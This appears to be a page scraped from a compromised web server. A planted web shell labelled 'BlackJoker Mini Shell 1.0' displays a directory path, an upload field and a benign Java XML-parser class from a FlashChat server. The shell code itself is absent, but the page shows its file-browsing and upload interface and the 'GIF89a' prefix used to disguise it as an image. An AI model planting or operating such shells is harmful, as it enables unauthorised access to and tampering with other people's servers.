GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/chat/install_files/temp_dir/javaServer/flashchat/com/xml/
Upload File :
Current File : /home/serb/www/chat/install_files/temp_dir/javaServer/flashchat/com/xml/XMLParser.java

/*
* Java socket server for FlashChat created by RuAnSoft (http://ruansoft.net), (c) 2006/07 TUFaT.com
*/
package flashchat.com.xml;

import java.util.*;
import net.n3.nanoxml.*;

public class XMLParser{
	private String xml = null;
	private String origXML = null;
	private boolean debugmode = false;
	IXMLElement myXml;
	private Map foundElements = new HashMap();

	public XMLParser ()
	{

	}

	public void SetXML (String XML)
	{
		xml = XML;
		try
		{
			IXMLParser parser = XMLParserFactory.createDefaultXMLParser();
			IXMLReader reader = StdXMLReader.stringReader(xml);
			parser.setReader(reader);
			myXml = (IXMLElement) parser.parse();
		}
		catch(Exception e)
		{
			e.printStackTrace();
			System.out.println("Unhandled XML exception while parsing:\n"+xml);
		}
	}
	public String getName()
	{
		String value = (String)myXml.getName();
		return value;
	}
	public String getID()
	{
		String value = (String)myXml.getAttribute("id");
		return value;
	}
	public String getAtr(String a)
	{
		String value = (String)myXml.getAttribute(a);
		return value;
	}

	public String getC()
	{
		String value = (String)myXml.getAttribute("c");
		return value;
	}
	public Map getAllXMLElements()
	{
		return foundElements;
	}
	public String getFirstChild()
	{
		String name = "";
		if ( myXml.hasChildren() )
		{
			IXMLElement child = myXml.getChildAtIndex(0);
			name = child.getName();
		}
		return name;
	}
}

./BlackJoker Mini Shell 1.0